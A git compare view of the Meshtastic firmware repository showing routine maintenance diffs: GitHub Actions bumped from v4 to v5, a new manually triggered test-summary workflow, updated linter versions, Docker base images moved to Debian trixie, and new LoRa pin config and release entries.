Compare commits
88
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7bbdc10054 | ||
|
|
5ae4ff9162 | ||
|
|
ed394f5f9d | ||
|
|
11db6d4dcc | ||
|
|
4e03df5ea7 | ||
|
|
d3e3a91096 | ||
|
|
b0e8321514 | ||
|
|
6c7cff7de2 | ||
|
|
834c3c5cc2 | ||
|
|
25a19b49ad | ||
|
|
a4d96bebfb | ||
|
|
d21d6d2085 | ||
|
|
26c38ffc8e | ||
|
|
237b8908f7 | ||
|
|
06bccef462 | ||
|
|
3120bb8fd7 | ||
|
|
0903ed8232 | ||
|
|
f8ba392a24 | ||
|
|
3dd384dd53 | ||
|
|
2c071a3283 | ||
|
|
596cd7e0b6 | ||
|
|
3f5c30e3b3 | ||
|
|
1a279c6053 | ||
|
|
3d825c51dd | ||
|
|
915f882e1f | ||
|
|
5136c8ba24 | ||
|
|
8b42bf7a95 | ||
|
|
1daf5aad1f | ||
|
|
fe3f14a63e | ||
|
|
7574bfb7cb | ||
|
|
ce75bf4496 | ||
|
|
5ce47045e7 | ||
|
|
57e1725419 | ||
|
|
11309662a9 | ||
|
|
890357d579 | ||
|
|
f413c49555 | ||
|
|
c19f573b49 | ||
|
|
5de61b1a3d | ||
|
|
1c1462e776 | ||
|
|
eb6ef1cbea | ||
|
|
9654f5b218 | ||
|
|
68726a1b0e | ||
|
|
5b62bbe8e6 | ||
|
|
e55084629a | ||
|
|
1691e885f2 | ||
|
|
2d7818797d | ||
|
|
f65e2c639e | ||
|
|
95200e8f6b | ||
|
|
36e8dc74f4 | ||
|
|
78c5309e9a | ||
|
|
9feb1d378e | ||
|
|
e5e8683cdb | ||
|
|
d538ad170c | ||
|
|
c64c196778 | ||
|
|
8e552a9f0c | ||
|
|
a02017a5c8 | ||
|
|
0046d957f1 | ||
|
|
4a241deb96 | ||
|
|
8d5ae1d5d2 | ||
|
|
e1e89a5e62 | ||
|
|
a7be93449e | ||
|
|
c8694f9f2d | ||
|
|
062168cd42 | ||
|
|
1877a2c531 | ||
|
|
52f0e5a3db | ||
|
|
ac8c372349 | ||
|
|
1bfa429c38 | ||
|
|
ddd149945a | ||
|
|
e3dd8164a4 | ||
|
|
9b8149f14e | ||
|
|
05f1518951 | ||
|
|
e26de85b5f | ||
|
|
a2df80e833 | ||
|
|
db238ef524 | ||
|
|
f2b935f48f | ||
|
|
e69da71d4e | ||
|
|
1e8f0a935e | ||
|
|
f73d6e5674 | ||
|
|
5cb5ad91bc | ||
|
|
e6061b5370 | ||
|
|
35ab9fab98 | ||
|
|
2dafe07a74 | ||
|
|
f41f21c53b | ||
|
|
e46a55c127 | ||
|
|
68c4599743 | ||
|
|
839a0e4dd0 | ||
|
|
6e3b71d5fb | ||
|
|
54240c0d87 |
@@ -5,7 +5,7 @@ runs:
|
||||
using: composite
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
with:
|
||||
submodules: recursive
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
|
||||
@@ -24,7 +24,7 @@ jobs:
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
with:
|
||||
submodules: recursive
|
||||
path: meshtasticd
|
||||
|
||||
@@ -20,7 +20,7 @@ jobs:
|
||||
name: build-${{ inputs.platform }}
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
with:
|
||||
submodules: recursive
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
|
||||
@@ -47,7 +47,7 @@ jobs:
|
||||
runs-on: ${{ inputs.runs-on }}
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
with:
|
||||
submodules: recursive
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
|
||||
@@ -83,7 +83,7 @@ jobs:
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
with:
|
||||
submodules: recursive
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
|
||||
@@ -19,7 +19,7 @@ jobs:
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
with:
|
||||
submodules: recursive
|
||||
ref: ${{ github.ref }}
|
||||
|
||||
@@ -42,7 +42,7 @@ jobs:
|
||||
- check
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
- uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: 3.x
|
||||
@@ -72,7 +72,7 @@ jobs:
|
||||
version:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
- name: Get release version string
|
||||
run: |
|
||||
echo "long=$(./bin/buildinfo.py long)" >> $GITHUB_OUTPUT
|
||||
@@ -93,7 +93,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
if: ${{ github.event_name != 'workflow_dispatch' }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
- name: Build base
|
||||
id: base
|
||||
uses: ./.github/actions/setup-base
|
||||
@@ -288,12 +288,12 @@ jobs:
|
||||
]
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
with:
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
repository: ${{github.event.pull_request.head.repo.full_name}}
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@v5
|
||||
with:
|
||||
path: ./
|
||||
pattern: firmware-${{matrix.arch}}-*
|
||||
@@ -322,7 +322,7 @@ jobs:
|
||||
./Meshtastic_nRF52_factory_erase*.uf2
|
||||
retention-days: 30
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@v5
|
||||
with:
|
||||
name: firmware-${{matrix.arch}}-${{ needs.version.outputs.long }}
|
||||
merge-multiple: true
|
||||
@@ -367,7 +367,7 @@ jobs:
|
||||
- package-pio-deps-native-tft
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v5
|
||||
@@ -386,14 +386,14 @@ jobs:
|
||||
Autogenerated by github action, developer should edit as required before publishing...
|
||||
|
||||
- name: Download source deb
|
||||
uses: actions/download-artifact@v4
|
||||
uses: actions/download-artifact@v5
|
||||
with:
|
||||
pattern: firmware-debian-${{ needs.version.outputs.deb }}~UNRELEASED-src
|
||||
merge-multiple: true
|
||||
path: ./output/debian-src
|
||||
|
||||
- name: Download `native-tft` pio deps
|
||||
uses: actions/download-artifact@v4
|
||||
uses: actions/download-artifact@v5
|
||||
with:
|
||||
pattern: platformio-deps-native-tft-${{ needs.version.outputs.long }}
|
||||
merge-multiple: true
|
||||
@@ -436,14 +436,14 @@ jobs:
|
||||
needs: [release-artifacts, version]
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: 3.x
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@v5
|
||||
with:
|
||||
pattern: firmware-${{matrix.arch}}-${{ needs.version.outputs.long }}
|
||||
merge-multiple: true
|
||||
@@ -460,7 +460,7 @@ jobs:
|
||||
- name: Zip firmware
|
||||
run: zip -j -9 -r ./firmware-${{matrix.arch}}-${{ needs.version.outputs.long }}.zip ./output
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@v5
|
||||
with:
|
||||
name: debug-elfs-${{matrix.arch}}-${{ needs.version.outputs.long }}.zip
|
||||
merge-multiple: true
|
||||
@@ -491,14 +491,14 @@ jobs:
|
||||
esp32,esp32s3,esp32c3,esp32c6,nrf52840,rp2040,rp2350,stm32
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: 3.x
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@v5
|
||||
with:
|
||||
pattern: firmware-{${{ env.targets }}}-${{ needs.version.outputs.long }}
|
||||
merge-multiple: true
|
||||
|
||||
@@ -14,7 +14,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Trunk Check
|
||||
uses: trunk-io/trunk-action@v1
|
||||
@@ -31,7 +31,7 @@ jobs:
|
||||
pull-requests: write # For trunk to create PRs
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Trunk Upgrade
|
||||
uses: trunk-io/trunk-action/upgrade@v1
|
||||
|
||||
@@ -34,7 +34,7 @@ jobs:
|
||||
needs: build-debian-src
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
with:
|
||||
submodules: recursive
|
||||
path: meshtasticd
|
||||
@@ -58,7 +58,7 @@ jobs:
|
||||
id: version
|
||||
|
||||
- name: Download artifacts
|
||||
uses: actions/download-artifact@v4
|
||||
uses: actions/download-artifact@v5
|
||||
with:
|
||||
name: firmware-debian-${{ steps.version.outputs.deb }}~${{ inputs.series }}-src
|
||||
merge-multiple: true
|
||||
|
||||
@@ -24,7 +24,7 @@ jobs:
|
||||
runs-on: ubuntu-24.04
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
with:
|
||||
submodules: recursive
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
|
||||
@@ -32,7 +32,7 @@ jobs:
|
||||
needs: build-debian-src
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
with:
|
||||
submodules: recursive
|
||||
path: meshtasticd
|
||||
@@ -60,7 +60,7 @@ jobs:
|
||||
id: version
|
||||
|
||||
- name: Download artifacts
|
||||
uses: actions/download-artifact@v4
|
||||
uses: actions/download-artifact@v5
|
||||
with:
|
||||
name: firmware-debian-${{ steps.version.outputs.deb }}~${{ inputs.series }}-src
|
||||
merge-multiple: true
|
||||
|
||||
@@ -0,0 +1,238 @@
|
||||
name: Tests
|
||||
|
||||
# DISABLED: Changed from automatic PR triggers to manual only
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
reason:
|
||||
description: "Reason for manual test run"
|
||||
required: false
|
||||
default: "Manual test execution"
|
||||
|
||||
concurrency:
|
||||
group: tests-${{ github.head_ref || github.run_id }}
|
||||
cancel-in-progress: true
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
actions: read
|
||||
checks: write
|
||||
pull-requests: write
|
||||
|
||||
jobs:
|
||||
native-tests:
|
||||
name: "🧪 Native Tests"
|
||||
if: github.repository == 'meshtastic/firmware'
|
||||
uses: ./.github/workflows/test_native.yml
|
||||
permissions:
|
||||
contents: read
|
||||
actions: read
|
||||
checks: write
|
||||
|
||||
test-summary:
|
||||
name: "📊 Test Results"
|
||||
runs-on: ubuntu-latest
|
||||
needs: [native-tests]
|
||||
if: always()
|
||||
permissions:
|
||||
contents: read
|
||||
actions: read
|
||||
checks: write
|
||||
pull-requests: write
|
||||
steps:
|
||||
- uses: actions/checkout@v5
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
- name: Get release version string
|
||||
run: echo "long=$(./bin/buildinfo.py long)" >> $GITHUB_OUTPUT
|
||||
id: version
|
||||
|
||||
- name: Download test artifacts
|
||||
if: needs.native-tests.result != 'skipped'
|
||||
uses: actions/download-artifact@v5
|
||||
with:
|
||||
name: platformio-test-report-${{ steps.version.outputs.long }}.zip
|
||||
merge-multiple: true
|
||||
|
||||
- name: Parse test results and create detailed summary
|
||||
id: test-results
|
||||
run: |
|
||||
echo "## 🧪 Test Results Summary" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# Check overall job status first
|
||||
if [[ "${{ needs.native-tests.result }}" == "success" ]]; then
|
||||
echo "✅ **Overall Status**: PASSED" >> $GITHUB_STEP_SUMMARY
|
||||
elif [[ "${{ needs.native-tests.result }}" == "failure" ]]; then
|
||||
echo "❌ **Overall Status**: FAILED" >> $GITHUB_STEP_SUMMARY
|
||||
elif [[ "${{ needs.native-tests.result }}" == "cancelled" ]]; then
|
||||
echo "⏸️ **Overall Status**: CANCELLED" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "Tests were cancelled before completion." >> $GITHUB_STEP_SUMMARY
|
||||
exit 0
|
||||
else
|
||||
echo "⚠️ **Overall Status**: SKIPPED" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "Tests were skipped." >> $GITHUB_STEP_SUMMARY
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
# Parse detailed test results if available
|
||||
if [ -f "testreport.xml" ]; then
|
||||
echo "### 🔍 Individual Test Results" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
python3 << 'EOF'
|
||||
import xml.etree.ElementTree as ET
|
||||
import os
|
||||
|
||||
try:
|
||||
tree = ET.parse('testreport.xml')
|
||||
root = tree.getroot()
|
||||
|
||||
total_tests = 0
|
||||
passed_tests = 0
|
||||
failed_tests = 0
|
||||
skipped_tests = 0
|
||||
|
||||
# Parse testsuite elements
|
||||
for testsuite in root.findall('.//testsuite'):
|
||||
suite_name = testsuite.get('name', 'Unknown')
|
||||
suite_tests = int(testsuite.get('tests', '0'))
|
||||
suite_failures = int(testsuite.get('failures', '0'))
|
||||
suite_errors = int(testsuite.get('errors', '0'))
|
||||
suite_skipped = int(testsuite.get('skipped', '0'))
|
||||
|
||||
total_tests += suite_tests
|
||||
failed_tests += suite_failures + suite_errors
|
||||
skipped_tests += suite_skipped
|
||||
passed_tests += suite_tests - suite_failures - suite_errors - suite_skipped
|
||||
|
||||
if suite_tests > 0:
|
||||
status = "✅" if (suite_failures + suite_errors) == 0 else "❌"
|
||||
print(f"**{status} Test Suite: {suite_name}**")
|
||||
print(f"- Total: {suite_tests}")
|
||||
print(f"- Passed: ✅ {suite_tests - suite_failures - suite_errors - suite_skipped}")
|
||||
print(f"- Failed: ❌ {suite_failures + suite_errors}")
|
||||
if suite_skipped > 0:
|
||||
print(f"- Skipped: ⏭️ {suite_skipped}")
|
||||
print("")
|
||||
|
||||
# Show individual test results for failed suites
|
||||
if suite_failures + suite_errors > 0:
|
||||
print("**Failed Tests:**")
|
||||
for testcase in testsuite.findall('testcase'):
|
||||
test_name = testcase.get('name', 'Unknown')
|
||||
failure = testcase.find('failure')
|
||||
error = testcase.find('error')
|
||||
|
||||
if failure is not None:
|
||||
msg = failure.get('message', 'Unknown error')[:100]
|
||||
print(f"- ❌ `{test_name}`: {msg}")
|
||||
elif error is not None:
|
||||
msg = error.get('message', 'Unknown error')[:100]
|
||||
print(f"- ❌ `{test_name}`: ERROR - {msg}")
|
||||
print("")
|
||||
else:
|
||||
# Show passed tests for successful suites
|
||||
passed_count = 0
|
||||
for testcase in testsuite.findall('testcase'):
|
||||
if testcase.find('failure') is None and testcase.find('error') is None:
|
||||
if passed_count < 5: # Limit to first 5 to avoid spam
|
||||
test_name = testcase.get('name', 'Unknown')
|
||||
print(f"- ✅ `{test_name}`: PASSED")
|
||||
passed_count += 1
|
||||
if passed_count > 5:
|
||||
print(f"- ... and {passed_count - 5} more tests passed")
|
||||
print("")
|
||||
|
||||
# Summary statistics
|
||||
print("### 📊 Test Statistics")
|
||||
print(f"- **Total Tests**: {total_tests}")
|
||||
print(f"- **Passed**: ✅ {passed_tests}")
|
||||
print(f"- **Failed**: ❌ {failed_tests}")
|
||||
if skipped_tests > 0:
|
||||
print(f"- **Skipped**: ⏭️ {skipped_tests}")
|
||||
|
||||
if failed_tests > 0:
|
||||
print(f"\n❌ **{failed_tests} tests failed out of {total_tests} total**")
|
||||
else:
|
||||
print(f"\n✅ **All {total_tests} tests passed!**")
|
||||
|
||||
except Exception as e:
|
||||
print(f"❌ Error parsing test results: {e}")
|
||||
EOF
|
||||
else
|
||||
echo "⚠️ **No detailed test report available**" >> $GITHUB_STEP_SUMMARY
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "Test artifacts may not have been generated properly." >> $GITHUB_STEP_SUMMARY
|
||||
fi
|
||||
|
||||
echo "" >> $GITHUB_STEP_SUMMARY
|
||||
echo "---" >> $GITHUB_STEP_SUMMARY
|
||||
echo "View detailed logs in the [Actions tab](${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }})" >> $GITHUB_STEP_SUMMARY
|
||||
|
||||
- name: Comment test results on PR
|
||||
if: github.event_name == 'pull_request' && needs.native-tests.result != 'skipped'
|
||||
uses: actions/github-script@v7
|
||||
with:
|
||||
script: |
|
||||
const fs = require('fs');
|
||||
|
||||
// Read the step summary to use as PR comment
|
||||
let testSummary = "## 🧪 Test Results Summary\n\n";
|
||||
|
||||
if ("${{ needs.native-tests.result }}" === "success") {
|
||||
testSummary += "✅ **All tests passed!**\n\n";
|
||||
} else if ("${{ needs.native-tests.result }}" === "failure") {
|
||||
testSummary += "❌ **Some tests failed.**\n\n";
|
||||
} else {
|
||||
testSummary += "⚠️ **Tests did not complete normally.**\n\n";
|
||||
}
|
||||
|
||||
testSummary += `View detailed results: [Actions Run](${context.payload.repository.html_url}/actions/runs/${context.runId})\n\n`;
|
||||
testSummary += "---\n";
|
||||
testSummary += "*This comment will be automatically updated when new commits are pushed.*";
|
||||
|
||||
// Find existing comment
|
||||
const comments = await github.rest.issues.listComments({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
issue_number: context.issue.number
|
||||
});
|
||||
|
||||
const botComment = comments.data.find(comment =>
|
||||
comment.user.type === 'Bot' &&
|
||||
comment.body.includes('🧪 Test Results Summary')
|
||||
);
|
||||
|
||||
if (botComment) {
|
||||
// Update existing comment
|
||||
await github.rest.issues.updateComment({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
comment_id: botComment.id,
|
||||
body: testSummary
|
||||
});
|
||||
} else {
|
||||
// Create new comment
|
||||
await github.rest.issues.createComment({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
issue_number: context.issue.number,
|
||||
body: testSummary
|
||||
});
|
||||
}
|
||||
|
||||
- name: Set overall status
|
||||
run: |
|
||||
if [[ "${{ needs.native-tests.result }}" == "success" ]]; then
|
||||
echo "All tests passed! ✅"
|
||||
exit 0
|
||||
else
|
||||
echo "Some tests failed! ❌"
|
||||
exit 1
|
||||
fi
|
||||
@@ -60,7 +60,7 @@ jobs:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Setup Python
|
||||
uses: actions/setup-python@v5
|
||||
|
||||
@@ -21,7 +21,7 @@ jobs:
|
||||
steps:
|
||||
# step 1
|
||||
- name: clone application source code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
|
||||
# step 2
|
||||
- name: full scan
|
||||
|
||||
@@ -13,7 +13,7 @@ jobs:
|
||||
steps:
|
||||
# step 1
|
||||
- name: clone application source code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
|
||||
@@ -14,7 +14,7 @@ jobs:
|
||||
name: Native Simulator Tests
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
with:
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
repository: ${{github.event.pull_request.head.repo.full_name}}
|
||||
@@ -70,7 +70,7 @@ jobs:
|
||||
name: Native PlatformIO Tests
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
with:
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
repository: ${{github.event.pull_request.head.repo.full_name}}
|
||||
@@ -127,7 +127,7 @@ jobs:
|
||||
- platformio-tests
|
||||
if: always()
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v5
|
||||
with:
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
repository: ${{github.event.pull_request.head.repo.full_name}}
|
||||
@@ -137,7 +137,7 @@ jobs:
|
||||
id: version
|
||||
|
||||
- name: Download test artifacts
|
||||
uses: actions/download-artifact@v4
|
||||
uses: actions/download-artifact@v5
|
||||
with:
|
||||
name: platformio-test-report-${{ steps.version.outputs.long }}.zip
|
||||
merge-multiple: true
|
||||
@@ -150,7 +150,7 @@ jobs:
|
||||
reporter: java-junit
|
||||
|
||||
- name: Download coverage artifacts
|
||||
uses: actions/download-artifact@v4
|
||||
uses: actions/download-artifact@v5
|
||||
with:
|
||||
pattern: lcov-coverage-info-native-*-${{ steps.version.outputs.long }}.zip
|
||||
path: code-coverage-report
|
||||
|
||||
@@ -20,7 +20,7 @@ jobs:
|
||||
runs-on: test-runner
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
|
||||
# - uses: actions/setup-python@v5
|
||||
# with:
|
||||
|
||||
@@ -18,7 +18,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Trunk Check
|
||||
uses: trunk-io/trunk-action@v1
|
||||
|
||||
@@ -16,7 +16,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
|
||||
- name: Trunk Check
|
||||
uses: trunk-io/trunk-action@v1
|
||||
|
||||
@@ -15,7 +15,7 @@ jobs:
|
||||
pull-requests: write
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
with:
|
||||
ref: ${{github.event.pull_request.head.ref}}
|
||||
repository: ${{github.event.pull_request.head.repo.full_name}}
|
||||
|
||||
@@ -11,7 +11,7 @@ jobs:
|
||||
pull-requests: write
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
uses: actions/checkout@v5
|
||||
with:
|
||||
submodules: true
|
||||
|
||||
|
||||
+9
-9
@@ -1,22 +1,22 @@
|
||||
version: 0.1
|
||||
cli:
|
||||
version: 1.24.0
|
||||
version: 1.25.0
|
||||
plugins:
|
||||
sources:
|
||||
- id: trunk
|
||||
ref: v1.7.1
|
||||
ref: v1.7.2
|
||||
uri: https://github.com/trunk-io/plugins
|
||||
lint:
|
||||
enabled:
|
||||
- checkov@3.2.451
|
||||
- renovate@41.40.0
|
||||
- checkov@3.2.467
|
||||
- renovate@41.88.0
|
||||
- prettier@3.6.2
|
||||
- trufflehog@3.90.1
|
||||
- trufflehog@3.90.5
|
||||
- yamllint@1.37.1
|
||||
- bandit@1.8.6
|
||||
- trivy@0.64.1
|
||||
- taplo@0.9.3
|
||||
- ruff@0.12.4
|
||||
- trivy@0.65.0
|
||||
- taplo@0.10.0
|
||||
- ruff@0.12.10
|
||||
- isort@6.0.1
|
||||
- markdownlint@0.45.0
|
||||
- oxipng@9.1.5
|
||||
@@ -25,7 +25,7 @@ lint:
|
||||
- flake8@7.3.0
|
||||
- hadolint@2.12.1-beta
|
||||
- shfmt@3.6.0
|
||||
- shellcheck@0.10.0
|
||||
- shellcheck@0.11.0
|
||||
- black@25.1.0
|
||||
- git-diff-check
|
||||
- gitleaks@8.28.0
|
||||
|
||||
+5
-5
@@ -3,7 +3,7 @@
|
||||
# trunk-ignore-all(hadolint/DL3008): Do not pin apt package versions
|
||||
# trunk-ignore-all(hadolint/DL3013): Do not pin pip package versions
|
||||
|
||||
FROM python:3.13-bookworm AS builder
|
||||
FROM python:3.13-slim-trixie AS builder
|
||||
ARG PIO_ENV=native
|
||||
ENV DEBIAN_FRONTEND=noninteractive
|
||||
ENV TZ=Etc/UTC
|
||||
@@ -36,7 +36,7 @@ RUN curl -L "https://github.com/meshtastic/web/releases/download/v$(cat /tmp/fir
|
||||
|
||||
##### PRODUCTION BUILD #############
|
||||
|
||||
FROM debian:bookworm-slim
|
||||
FROM debian:trixie-slim
|
||||
LABEL org.opencontainers.image.title="Meshtastic" \
|
||||
org.opencontainers.image.description="Debian Meshtastic daemon and web interface" \
|
||||
org.opencontainers.image.url="https://meshtastic.org" \
|
||||
@@ -51,8 +51,8 @@ ENV TZ=Etc/UTC
|
||||
USER root
|
||||
|
||||
RUN apt-get update && apt-get --no-install-recommends -y install \
|
||||
libc-bin libc6 libgpiod2 libyaml-cpp0.7 libi2c0 libuv1 libusb-1.0-0-dev \
|
||||
liborcania2.3 libulfius2.7 libssl3 \
|
||||
libc-bin libc6 libgpiod3 libyaml-cpp0.8 libi2c0 libuv1t64 libusb-1.0-0-dev \
|
||||
liborcania2.3 libulfius2.7t64 libssl3t64 \
|
||||
libx11-6 libinput10 libxkbcommon-x11-0 \
|
||||
&& apt-get clean && rm -rf /var/lib/apt/lists/* \
|
||||
&& mkdir -p /var/lib/meshtasticd \
|
||||
@@ -61,7 +61,7 @@ RUN apt-get update && apt-get --no-install-recommends -y install \
|
||||
|
||||
# Fetch compiled binary from the builder
|
||||
COPY --from=builder /tmp/firmware/release/meshtasticd /usr/bin/
|
||||
COPY --from=builder /tmp/web /usr/share/meshtasticd/
|
||||
COPY --from=builder /tmp/web /usr/share/meshtasticd/web/
|
||||
# Copy config templates
|
||||
COPY ./bin/config.d /etc/meshtasticd/available.d
|
||||
|
||||
|
||||
@@ -23,7 +23,7 @@ build_flags =
|
||||
-DMESHTASTIC_EXCLUDE_PAXCOUNTER=1
|
||||
|
||||
build_src_filter =
|
||||
${arduino_base.build_src_filter} -<platform/esp32/> -<platform/stm32wl> -<nimble/> -<mesh/wifi/> -<mesh/api/> -<mesh/http/> -<modules/esp32> -<platform/rp2xx0> -<mesh/eth/> -<mesh/raspihttp>
|
||||
${arduino_base.build_src_filter} -<platform/esp32/> -<platform/stm32wl> -<nimble/> -<mesh/wifi/> -<mesh/api/> -<mesh/http/> -<modules/esp32> -<platform/rp2xx0> -<mesh/eth/> -<mesh/raspihttp> -<serialization/>
|
||||
|
||||
lib_deps=
|
||||
${arduino_base.lib_deps}
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
[portduino_base]
|
||||
platform =
|
||||
# renovate: datasource=git-refs depName=platform-native packageName=https://github.com/meshtastic/platform-native gitBranch=develop
|
||||
https://github.com/meshtastic/platform-native/archive/6cb7a455b440dd0738e8ed74a18136ed5cf7ea63.zip
|
||||
https://github.com/meshtastic/platform-native/archive/37d986499ce24511952d7146db72d667c6bdaff7.zip
|
||||
framework = arduino
|
||||
|
||||
build_src_filter =
|
||||
@@ -17,7 +17,6 @@ build_src_filter =
|
||||
+<mesh/raspihttp/>
|
||||
-<mesh/eth/>
|
||||
-<modules/esp32>
|
||||
+<../variants/portduino>
|
||||
|
||||
lib_deps =
|
||||
${env.lib_deps}
|
||||
@@ -35,6 +34,7 @@ lib_deps =
|
||||
|
||||
build_flags =
|
||||
${arduino_base.build_flags}
|
||||
-D ARCH_PORTDUINO
|
||||
-fPIC
|
||||
-Isrc/platform/portduino
|
||||
-DRADIOLIB_EEPROM_UNSUPPORTED
|
||||
|
||||
@@ -9,13 +9,4 @@ Lora:
|
||||
DIO3_TCXO_VOLTAGE: true
|
||||
DIO2_AS_RF_SWITCH: true
|
||||
spidev: spidev0.0
|
||||
# CS: 8
|
||||
|
||||
|
||||
### RAK13300in Slot 2 pins
|
||||
# IRQ: 18 #IO6
|
||||
# Reset: 24 # IO4
|
||||
# Busy: 19 # IO5
|
||||
# # Ant_sw: 23 # IO3
|
||||
# spidev: spidev0.1
|
||||
# # CS: 7
|
||||
# CS: 8
|
||||
@@ -0,0 +1,8 @@
|
||||
Lora:
|
||||
### RAK13300in Slot 2 pins
|
||||
IRQ: 18 #IO6
|
||||
Reset: 24 # IO4
|
||||
Busy: 19 # IO5
|
||||
# Ant_sw: 23 # IO3
|
||||
spidev: spidev0.1
|
||||
# CS: 7
|
||||
@@ -87,6 +87,12 @@
|
||||
</screenshots>
|
||||
|
||||
<releases>
|
||||
<release version="2.7.7" date="2025-08-28">
|
||||
<url type="details">https://github.com/meshtastic/firmware/releases?q=tag%3Av2.7.7</url>
|
||||
</release>
|
||||
<release version="2.7.6" date="2025-08-12">
|
||||
<url type="details">https://github.com/meshtastic/firmware/releases?q=tag%3Av2.7.6</url>
|
||||
</release>
|
||||
